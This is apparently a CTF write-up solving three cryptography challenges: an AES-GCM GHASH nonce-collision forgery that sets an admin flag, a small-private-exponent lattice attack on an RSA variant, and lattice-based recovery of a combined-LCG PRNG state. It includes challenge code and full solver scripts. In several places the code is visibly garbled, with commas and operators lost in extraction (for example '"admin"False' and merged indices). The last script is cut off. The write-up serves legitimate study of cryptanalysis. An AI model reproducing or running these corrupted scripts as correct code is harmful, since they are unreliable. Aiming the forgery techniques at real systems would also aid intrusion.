class GoodHash:
    def __init__(self, v=b""):
        self.key = b"goodhashGOODHASH"
        self.buf = v
 
    def update(self, v):
        self.buf += v
 
    def digest(self):
        cipher = AES.new(self.key, AES.MODE_GCM, nonce=self.buf)
        enc, tag = cipher.encrypt_and_digest(b"\0" * 32)
        return enc + tag
 
    def hexdigest(self):
        return self.digest().hex()
 
 
if __name__ == "__main__":
    token = json.dumps({"token": os.urandom(16).hex(), "admin"False})
    token_hash = GoodHash(token.encode()).hexdigest()
    print(f"Body: {token}")
    print(f"Hash: {token_hash}")
 
    inp = input("> ")
    if len(inp) > 64 or any(v not in ACCEPTABLE for v in inp):
        print("Invalid input :(")
        exit(0)
 
    inp_hash = GoodHash(inp.encode()).hexdigest()
 
    if token_hash == inp_hash:
        try:
            token = json.loads(inp)
            if token["admin"== True:
                print("Wow, how did you find a collision?")
                print(f"Here's the flag: {flag}")
            else:
                print("Nice try.")
                print("Now you need to set the admin value to True")
        except:
            print("Invalid input :(")
    else:
        print("Invalid input :(")
 
cs

 

This is a hash collision challenge. We read the code to find the following two facts.

  • The hash function is computed by sending the input as the nonce, and encrypting 32 zero bytes with AES-GCM with a known key. 
  • Our collision needs to be in a JSON format, with "admin" being set to True.

Usually, in AES-GCM, the nonce is 12 bytes. However, we may send a bytearray with larger length, which suggests that there will be some logic that compresses our bytearray to be 12 bytes. With this in mind, we look at the pycryptodome library code.

 

https://github.com/Legrandin/pycryptodome/blob/master/lib/Crypto/Cipher/_mode_gcm.py

 

The important part begins at line 229. If the length of the input nonce is not 12, we compute the GHASH of $$ \text{pad}(m) || 0^{64} || \text{len}(m)$$ where $\text{pad}(m)$ is $m$ padded to be a bytearray of length multiple of 16 by appending zero bytes appropriately.

To compute the GHASH, we use the finite field $GF(2^{128})$ and denote $$H = \text{Enc}_{key}(0^{128})$$ and apply $$\text{GHASH}(X_1 || X_2 || \cdots || X_n) = X_1 H^n + X_2 H^{n-1} + \cdots + X_n H$$ Since we already know $H$, we can control the GHASH of a bytearray even if we select all but one block arbitrarily. In other words, we can choose $n-1$ blocks in any way we want, and we can fully control the GHASH by carefully selecting the value of the remaining one block. 

 

Solution 1

 

The above fact gives us one immediate idea. We can attempt to construct a bytearray that 

  • Has length 61, which is the length of the original JSON, which is there to force same GHASH for the actual final block
  • Can be converted into a JSON structure, with "admin" being set to true 
  • Has the same GHASH after being padded to 64 bytes (i.e. 4 blocks) as the original JSON 

To do so, we can fix 2 out of the 4 blocks of the bytearray for it to be a JSON with "admin" set to true, arbitrarily select one of remaining blocks, then compute the final block so that it matches the GHASH, hoping that all four blocks only contain the allowed characters. For example, we can make the bytearray start with {"admin":true,"a and end with ":"abcdefgh"}\x00\x00\x00 since length 61 means \x00\x00\x00 will be padded at the end. Now we can randomly select some 16 byte string using allowed characters and set it as the second block, then compute the third block by matching GHASH to be equal, hoping that the third block also consists of allowed characters and do not interfere with the whole JSON business. While this works, and some people definitely have used this solution to solve, this idea is not very efficient. This is because the probability of success is quite low, and each trial does require some computation. 

 

Solution 2 

 

In my opinion, the cleaner way to solve this challenge is to view the GHASH equation not as a linear equation of blocks, but a linear equation of bits that make up those blocks. Indeed, due to the linear nature of the GHASH, we can actually consider the bytearray as a bit vector, and the GHASH function still keeps its linearity. Therefore, the GHASH equation is just a system of linear equations over $GF(2)$, where the variables are the 512 (64 bytes) bits of the padded bytearray. Let's keep a track of the equations that we have. 

  • Since the equation is over $GF(2^{128})$ we can convert this into 128 linear equations over $GF(2)$.
  • We can fix some characters - I made my padded JSON start with {"admin": true, "a": " and end with "}\x00\x00\x00.
  • This is a total of 27 characters, which is equivalent to 216 fixed bits over $GF(2)$.

Since we have 512 bits of freedom, we can definitely solve this. However, the issue of allowed characters is still there.

To make our random trial work with less trial and error, we add an extra idea - make every character's ASCII value between 64 and 95.

This can be done by forcing the 7th bit to be 0, 6th bit to be 1, and 5th bit to be 0.

  • Since we have 37 characters remaining, this gives us an additional 111 fixed bits over $GF(2)$.

Now $128 + 216 + 111$ is still well below $512$, so now we can just solve this matrix equation, try some random solutions using its kernel basis, and keep going on until we find a good collision for us to solve the challenge. Very fun challenge to work on :)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
pclass GoodHash:
    def __init__(self, v=b""):
        self.key = b"goodhashGOODHASH"
        self.buf = v
 
    def update(self, v):
        self.buf += v
 
    def digest(self):
        cipher = AES.new(self.key, AES.MODE_GCM, nonce=self.buf)
        enc, tag = cipher.encrypt_and_digest(b"\0" * 32)
        return enc + tag
 
    def hexdigest(self):
        return self.digest().hex()
 
POL = PolynomialRing(GF(2), 'a')
= POL.gen()
= GF(2 ** 128, name = 'a', modulus = a ** 128 + a ** 7 + a ** 2 + a + 1)
 
def aes_enc(p, k):
    cipher = AES.new(key = k, mode = AES.MODE_ECB)
    return cipher.encrypt(p)
 
def int_to_finite(v):
    bin_block = bin(v)[2:].zfill(128)
    res = 0
    for i in range(128):
        res += (a ** i) * int(bin_block[i])
    return F(res)
 
def bytes_to_finite(v):
    v = bytes_to_long(v)
    return int_to_finite(v)
 
def finite_to_int(v):
    v = POL(v)
    res = v.coefficients(sparse = False)
    ret = 0
    for i in range(len(res)):
        ret += int(res[i]) * (1 << (127 - i))
    return ret
 
def finite_to_bytes(v):
    cc = finite_to_int(v)
    return long_to_bytes(cc, blocksize = 16)
 
def hasher(v):
    H = aes_enc(b"\x00" * 16, b"goodhashGOODHASH")
    H_f = bytes_to_finite(H)
    ret = F(0)
    res = bytes_to_long(v)
    bin_block = bin(res)[2:].zfill(512)
    bas = []
    for i in range(512):
        cc = F(a ** int(i % 128)) * F(H_f ** (3 - i // 128)) 
        bas.append(finite_to_int(cc))
        ret += F(a ** int(i % 128)) * F(H_f ** (3 - i // 128)) * int(bin_block[i])
    return bas, finite_to_int(ret)
 
ACCEPTABLE = string.ascii_letters + string.digits + string.punctuation + " "
print(ACCEPTABLE)
 
conn = remote('good-hash.chal.perfect.blue'1337)
body = conn.recvline()[6:-1]
print(body)
print(len(body))
print(conn.recvline())
 
bases, target = hasher(body + b"\x00\x00\x00")
 
starter = b'{"admin": true, "a": "'
finisher = b'"}\x00\x00\x00'
print(len(starter) + len(finisher))
 
print("[+] Building Matrix")
 
SZ = 128 + 37 * 3 + 27 * 8
= Matrix(GF(2), SZ, 512)
vv = []
 
for i in range(128):
    for j in range(512):
        M[i, j] = (bases[j] >> i) & 1
    vv.append((target >> i) & 1)
 
for i in range(37):
    M[3 * i + 1288 * (22 + i)] = 1
    vv.append(0# 128
    M[3 * i + 128 + 18 * (22 + i) + 1= 1
    vv.append(1# 64
    M[3 * i + 128 + 28 * (22 + i) + 2= 1
    vv.append(0# 32
 
for i in range(22):
    for j in range(8):
        M[8 * i + j + 37 * 3 + 1288 * i + j] = 1
        vv.append((int(starter[i]) >> (7 - j)) & 1)
for i in range(5):
    for j in range(8):
        M[8 * i + j + 37 * 3 + 22 * 8 + 1288 * (59 + i) + j] = 1
        vv.append((int(finisher[i]) >> (7 - j)) & 1)
 
vv = vector(GF(2), vv)
val = M.solve_right(vv)
kernels = M.right_kernel().basis()
 
print("[+] Finished Solving Matrix, Finding Collision Now...")
 
attempts = 0
 
while True:
    attempts += 1
    print(attempts)
    cur = val 
    for i in range(len(kernels)):
        cur += (kernels[i] * GF(2)(rand.randint(01)))
    fins = 0
    for i in range(512):
        fins = 2 * fins + int(cur[i])
    fins = long_to_bytes(fins)
    print(fins)
    fins = fins[:61]
    print(fins, len(fins))
    try:
        if len(fins) == 61 and (any(v not in ACCEPTABLE for v in fins.decode()) == False):
            token = json.loads(fins)
            bases2, finresult = hasher(fins + b"\x00\x00\x00")
            print(GoodHash(body + b"\x00\x00\x00").hexdigest())
            print(GoodHash(fins + b"\x00\x00\x00").hexdigest())
            print(target)
            print(finresult)
            print(token)
            if token["admin"== True:
                conn.sendline(fins)
                print(conn.recvline())
                print(conn.recvline())
                break
    except:
        pass
cs

 

 

Yet Another RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python3
 
from Crypto.Util.number import *
import random
 
 
def genPrime():
    while True:
        a = random.getrandbits(256)
        b = random.getrandbits(256)
 
        if b % 3 == 0:
            continue
 
        p = a ** 2 + 3 * b ** 2
        if p.bit_length() == 512 and p % 3 == 1 and isPrime(p):
            return p
 
 
def add(P, Q, mod):
    m, n = P
    p, q = Q
 
    if p is None:
        return P
    if m is None:
        return Q
 
    if n is None and q is None:
        x = m * p % mod
        y = (m + p) % mod
        return (x, y)
 
    if n is None and q is not None:
        m, n, p, q = p, q, m, n
 
    if q is None:
        if (n + p) % mod != 0:
            x = (m * p + 2* inverse(n + p, mod) % mod
            y = (m + n * p) * inverse(n + p, mod) % mod
            return (x, y)
        elif (m - n ** 2) % mod != 0:
            x = (m * p + 2* inverse(m - n ** 2, mod) % mod
            return (x, None)
        else:
            return (NoneNone)
    else:
        if (m + p + n * q) % mod != 0:
            x = (m * p + (n + q) * 2* inverse(m + p + n * q, mod) % mod
            y = (n * p + m * q + 2* inverse(m + p + n * q, mod) % mod
            return (x, y)
        elif (n * p + m * q + 2) % mod != 0:
            x = (m * p + (n + q) * 2* inverse(n * p + m * q + r, mod) % mod
            return (x, None)
        else:
            return (NoneNone)
 
 
def power(P, a, mod):
    res = (NoneNone)
    t = P
    while a > 0:
        if a % 2:
            res = add(res, t, mod)
        t = add(t, t, mod)
        a >>= 1
    return res
 
 
def random_pad(msg, ln):
    pad = bytes([random.getrandbits(8for _ in range(ln - len(msg))])
    return msg + pad
 
 
p, q = genPrime(), genPrime()
= p * q
phi = (p ** 2 + p + 1* (q ** 2 + q + 1)
 
print(f"N: {N}")
 
= getPrime(400)
= inverse(d, phi)
= (e * d - 1// phi
 
print(f"e: {e}")
 
to_enc = input("> ").encode()
ln = len(to_enc)
 
print(f"Length: {ln}")
 
pt1, pt2 = random_pad(to_enc[: ln // 2], 127), random_pad(to_enc[ln // 2 :], 127)
 
= (bytes_to_long(pt1), bytes_to_long(pt2))
= power(M, e, N)
 
print(f"E: {E}")
 
cs

 

The obvious weird part in the script, excluding the whole mysterious group, is that $d$ is very small. 

This leads to some ideas like Wiener's attack or Boneh-Durfee's attack. Since we cannot compute $\phi$ with a very high precision, Wiener's attack does not work well. To be honest, I forgot about Boneh-Durfee and just started googling "Wiener's attack modulo $(p^2+p+1)(q^2+q+1)$". It gave me the paper https://eprint.iacr.org/2021/1160.pdf which had all the ideas and the solution for the problem as well. It also explains where the group comes from. I'll explain this part later. 

 

Since the paper explains the choice of polynomials to use LLL on very well, I implemented them directly and used https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage instead of defund's black-box (?) script. 

 

The Group

 

I figured this part out before I searched for the paper, but it really doesn't help with solving the challenge.

I started by thinking this was some sort of a curve, but I couldn't really think about the formula. I tried to find the curve formula by taking various monomials of coordinates of each points in the group and using the kernel of the matrix, but it failed as well. (For example, see the "Bonus" from hellman's writeup on CONFidence 2020 Finals https://nbviewer.org/gist/hellman/be17ac7b2363dd0cf6cca89c6a9e69bf)

This meant that this curve might not really be a curve. Now what do we do?

 

Then I looked at the $(m+p+nq)$ part. What could make that sort of a term? After some thought, I found $$(x^2+nx+m)(x^2+qx+p) = x^4 + (n + q)x^3 + (m + p + nq)x^2 + (np + mq)x + mp$$ which looked really suspicious. If we focused on the case where nothing was "None" and $m + p + nq$ is nonzero, we divide $m + p + nq$ to get our final values of $x, y$. This meant that something was done to make things monic. Also, that $2$ and $2(n+q)$ is very suspicious - and now we see that we can divide out by $x^3 - 2$. This gives us $$(m + p + nq)x^2 + (np + mq + 2) x + (mp + 2 (n + q))$$ and making this monic and taking coefficients gives us the $x,  y$ we have from the code. The "None" parts correspond to the cases where the polynomials are not quadratic - they are linear or even a constant. For example, the case where $n, q$ are "None" is equivalent to $(x+m)(x+p) = x^2 + (m+p)x + mp$. The other cases are similar and are left as exercises for the reader.

 

Now we can even compute the group order. If $x^3 - 2$ is irreducible over $GF(p)$, then this is just $GF(p^3)$, but with monic polynomials.

This means that the group size will be $$ \frac{p^3 - 1}{p - 1} = p^2 + p +1$$ which matches the $\phi$ description of the challenge source code.

 

Is $x^3 - 2$ irreducible? It turns out, yes. When $p \equiv 1 \pmod{3}$, results on cubic reciprocity state that $p$ can be uniquely expressed as $p = a^2 + 3b^2$, and $2$ is a cubic reciprocity of $p$ if and only if $b \equiv 0 \pmod{3}$. Check https://en.wikipedia.org/wiki/Cubic_reciprocity. Now we see that our prime generation completely blocks this, which means that $x^3 - 2$ has no solutions over $GF(p)$, hence irreducible. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
import time
 
############################################
# Config
##########################################
 
"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True
 
"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct 
upperbound on the determinant. Note that this 
doesn't necesseraly mean that no solutions 
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False
 
"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension
 
############################################
# Functions
##########################################
 
# display stats on helpful vectors
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii,ii] >= modulus:
            nothelpful += 1
 
    print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")
 
# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii,jj] == 0 else 'X'
            if BB.dimensions()[0< 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print(a)
 
# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0<= dimension_min:
        return BB
 
    # we start by checking from the end
    for ii in range(current, -1-1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj
 
            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                print("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii-1)
                return BB
 
            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
                    print("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii-1)
                    return BB
    # nothing happened
    return BB
 
 
def attack(N, e, m, t, X, Y):
    modulus = e
 
    PR.<x, y> = PolynomialRing(ZZ)
    a = N + 1
    b = N * N - N + 1
    f = x * (y * y + a * y + b) + 1
 
    gg = []
    for k in range(0, m+1):
        for i in range(k, m+1):
            for j in range(2 * k, 2 * k + 2):
                gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k))
    for k in range(0, m+1):
        for i in range(k, k+1):
            for j in range(2*k+22*i+t+1):
                gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k))
 
    def order_gg(idx, gg, monomials):
        if idx == len(gg):
            return gg, monomials
 
        for i in range(idx, len(gg)):
            polynomial = gg[i]
            non = []
            for monomial in polynomial.monomials():
                if monomial not in monomials:
                    non.append(monomial)
            
            if len(non) == 1:
                new_gg = gg[:]
                new_gg[i], new_gg[idx] = new_gg[idx], new_gg[i]
 
                return order_gg(idx + 1, new_gg, monomials + non)    
 
    gg, monomials = order_gg(0, gg, [])
 
    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0= gg[ii](00)
        for jj in range(1, nn):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](X, Y)
 
    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus^m, nn-1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print("failure")
            return 0,0
 
    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus^m)
    
    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus^(m*nn)
    if det >= bound:
        print("We do not have det < bound. Solutions might not be found.")
        print("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1-1
    else:
        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
 
    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus^m)
 
    # LLL
    if debug:
        print("optimizing basis of the lattice via LLL, this can take a long time")
 
    BB = BB.LLL()
 
    if debug:
        print("LLL is done!")
 
    # transform vector i & j -> polynomials 1 & 2
    if debug:
        print("looking for independent vectors in the lattice")
    found_polynomials = False
    
    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.<a, b> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](a,b) * BB[pol1_idx, jj] / monomials[jj](X, Y)
                pol2 += monomials[jj](a,b) * BB[pol2_idx, jj] / monomials[jj](X, Y)
 
            # resultant
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)
 
            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break
 
    if not found_polynomials:
        print("no independant vectors could be found. This should very rarely happen...")
        return 00
    
    rr = rr(q, q)
 
    # solutions
    soly = rr.roots()
 
    if len(soly) == 0:
        print("Your prediction (delta) is too small")
        return 00
 
    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]
 
    return solx, soly
 
def inthroot(a, n):
    return a.nth_root(n, truncate_mode=True)[0]
 
= 144256630216944187431924086433849812983170198570608223980477643981288411926131676443308287340096924135462056948517281752227869929565308903867074862500573343002983355175153511114217974621808611898769986483079574834711126000758573854535492719555861644441486111787481991437034260519794550956436261351981910433997
= 3707368479220744733571726540750753259445405727899482801808488969163282955043784626015661045208791445735104324971078077159704483273669299425140997283764223932182226369662807288034870448194924788578324330400316512624353654098480234449948104235411615925382583281250119023549314211844514770152528313431629816760072652712779256593182979385499602121142246388146708842518881888087812525877628088241817693653010042696818501996803568328076434256134092327939489753162277188254738521227525878768762350427661065365503303990620895441197813594863830379759714354078526269966835756517333300191015795169546996325254857519128137848289
= 1 << 400
= 2 * inthroot(Integer(2 * N), 2)
 
res = attack(N, e, 42, X, Y)
print(res) # gives k and p + q, the rest is easy
cs

 

 

Yet Another PRNG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
 
from Crypto.Util.number import *
import random
import os
from flag import flag
 
def urand(b):
    return int.from_bytes(os.urandom(b), byteorder='big')
 
class PRNG:
    def __init__(self):
        self.m1 = 2 ** 32 - 107
        self.m2 = 2 ** 32 - 5
        self.m3 = 2 ** 32 - 209
        self.M = 2 ** 64 - 59
 
        rnd = random.Random(b'rbtree')
 
        self.a1 = [rnd.getrandbits(20for _ in range(3)]
        self.a2 = [rnd.getrandbits(20for _ in range(3)]
        self.a3 = [rnd.getrandbits(20for _ in range(3)]
 
        self.x = [urand(4for _ in range(3)]
        self.y = [urand(4for _ in range(3)]
        self.z = [urand(4for _ in range(3)]
 
    def out(self):
        o = (2 * self.m1 * self.x[0- self.m3 * self.y[0- self.m2 * self.z[0]) % self.M
 
        self.x = self.x[1:] + [sum(x * y for x, y in zip(self.x, self.a1)) % self.m1]
        self.y = self.y[1:] + [sum(x * y for x, y in zip(self.y, self.a2)) % self.m2]
        self.z = self.z[1:] + [sum(x * y for x, y in zip(self.z, self.a3)) % self.m3]
 
        return o.to_bytes(8, byteorder='big')
 
if __name__ == "__main__":
    prng = PRNG()
 
    hint = b''
    for i in range(12):
        hint += prng.out()
    
    print(hint.hex())
 
    assert len(flag) % 8 == 0
    stream = b''
    for i in range(len(flag) // 8):
        stream += prng.out()
    
    out = bytes([x ^ y for x, y in zip(flag, stream)])
    print(out.hex())
    
 
cs

 

It turns out that taking the equations and shoving them to CVP repository works. 

https://github.com/rkm0959/Inequality_Solving_with_CVP is very strong :O :O :O 

I've been procrastinating with updating and writing about that repository, very sorry about that....

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
def urand(b):
    return int.from_bytes(os.urandom(b), byteorder='big')
 
class PRNGFinisher:
    def __init__(self, X, Y, Z):
        self.m1 = 2 ** 32 - 107
        self.m2 = 2 ** 32 - 5
        self.m3 = 2 ** 32 - 209
        self.M = 2 ** 64 - 59
 
        rnd = rand.Random(b'rbtree')
 
        self.a1 = [rnd.getrandbits(20for _ in range(3)]
        self.a2 = [rnd.getrandbits(20for _ in range(3)]
        self.a3 = [rnd.getrandbits(20for _ in range(3)]
 
        self.x = X
        self.y = Y
        self.z = Z
 
    def out(self):
        o = (2 * self.m1 * self.x[0- self.m3 * self.y[0- self.m2 * self.z[0]) % self.M
 
        self.x = self.x[1:] + [sum(x * y for x, y in zip(self.x, self.a1)) % self.m1]
        self.y = self.y[1:] + [sum(x * y for x, y in zip(self.y, self.a2)) % self.m2]
        self.z = self.z[1:] + [sum(x * y for x, y in zip(self.z, self.a3)) % self.m3]
 
        return o.to_bytes(8, byteorder='big')
 
class PRNG:
    def __init__(self):
        self.m1 = 2 ** 32 - 107
        self.m2 = 2 ** 32 - 5
        self.m3 = 2 ** 32 - 209
        self.M = 2 ** 64 - 59
 
        rnd = rand.Random(b'rbtree')
 
        self.a1 = [rnd.getrandbits(20for _ in range(3)]
        self.a2 = [rnd.getrandbits(20for _ in range(3)]
        self.a3 = [rnd.getrandbits(20for _ in range(3)]
 
        self.x = [urand(4for _ in range(3)]
        self.y = [urand(4for _ in range(3)]
        self.z = [urand(4for _ in range(3)]
 
    def out(self):
        ret = b''
        xs = []
        ys = []
        zs = []
        for _ in range(12):
            xs.append(self.x[0])
            ys.append(self.y[0])
            zs.append(self.z[0])
            o = (2 * self.m1 * self.x[0- self.m3 * self.y[0- self.m2 * self.z[0]) % self.M
            self.x = self.x[1:] + [sum(x * y for x, y in zip(self.x, self.a1)) % self.m1]
            self.y = self.y[1:] + [sum(x * y for x, y in zip(self.y, self.a2)) % self.m2]
            self.z = self.z[1:] + [sum(x * y for x, y in zip(self.z, self.a3)) % self.m3]
            ret += o.to_bytes(8, byteorder='big')
        return ret, xs, ys, zs
 
 
# Directly taken from rbtree's LLL repository
# From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI
def Babai_CVP(mat, target):
    M = mat.BKZ(block_size = 35)
    G = M.gram_schmidt()[0]
    diff = target
    for i in reversed(range(G.nrows())):
        diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
    return target - diff
 
def solve(mat, lb, ub, weight = None):
    num_var  = mat.nrows()
    num_ineq = mat.ncols()
 
    max_element = 0 
    for i in range(num_var):
        for j in range(num_ineq):
            max_element = max(max_element, abs(mat[i, j]))
 
    if weight == None:
        weight = num_ineq * max_element
 
    # sanity checker
    if len(lb) != num_ineq:
        print("Fail: len(lb) != num_ineq")
        return
 
    if len(ub) != num_ineq:
        print("Fail: len(ub) != num_ineq")
        return
 
    for i in range(num_ineq):
        if lb[i] > ub[i]:
            print("Fail: lb[i] > ub[i] at index", i)
            return
 
    # heuristic for number of solutions
    DET = 0
 
    if num_var == num_ineq:
        DET = abs(mat.det())
        num_sol = 1
        for i in range(num_ineq):
            num_sol *= (ub[i] - lb[i])
        if DET == 0:
            print("Zero Determinant")
        else:
            num_sol //= DET
            # + 1 added in for the sake of not making it zero...
            print("Expected Number of Solutions : ", num_sol + 1)
 
    # scaling process begins
    max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
    applied_weights = []
 
    for i in range(num_ineq):
        ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
        applied_weights.append(ineq_weight)
        for j in range(num_var):
            mat[j, i] *= ineq_weight
        lb[i] *= ineq_weight
        ub[i] *= ineq_weight
 
    # Solve CVP
    target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
    result = Babai_CVP(mat, target)
 
    for i in range(num_ineq):
        if (lb[i] <= result[i] <= ub[i]) == False:
            print("Fail : inequality does not hold after solving")
    
    # recover x
    fin = None
 
    if DET != 0:
        mat = mat.transpose()
        fin = mat.solve_right(result)
    
    ## recover your result
    return result, applied_weights, fin
 
def get_idx(name, v):
    if name == 'x':
        return v - 1
    if name == 'y':
        return v + 11
    if name == 'z':
        return v + 23
 
test = False
 
if test:
    prng = PRNG()
    hint, ERRX, ERRZ, XS, YS, ZS = prng.out()
    print("XS", XS)
    print("YS", YS)
    print("ZS", ZS)
 
    vec_sol = []
    for i in range(12):
        vec_sol.append(XS[i])
    for i in range(12):
        vec_sol.append(YS[i])
    for i in range(12):
        vec_sol.append(ZS[i])
else:
    prng = PRNG()
    hint = '67f19d3da8af1480f39ac04f7e9134b2dc4ad094475b696224389c9ef29b8a2aff8933bd3fefa6e0d03827ab2816ba0fd9c0e2d73e01aa6f184acd9c58122616f9621fb8313a62efb27fb3d3aa385b89435630d0704f0dceec00fef703d54fca'
    output = '153ed807c00d585860b843a03871b11f60baf11fe72d2619283ec5b4d931435ac378e21abe67c47f7923fcde101f4f0c65b5ee48950820f9b26e33acf57868d5f0cbc2377a39a81918f8c20f61c71047c8e82b1c965fa01b58ad0569ce7521c7'
    hint = bytes.fromhex(hint)
    output = bytes.fromhex(output)
 
print(len(hint))
= Matrix(ZZ, 7575)
 
cnt = 0
tot_base = 36
 
lb = []
ub = []
 
# x
for i in range(9):
    M[get_idx('x', i + 4), cnt] = 1
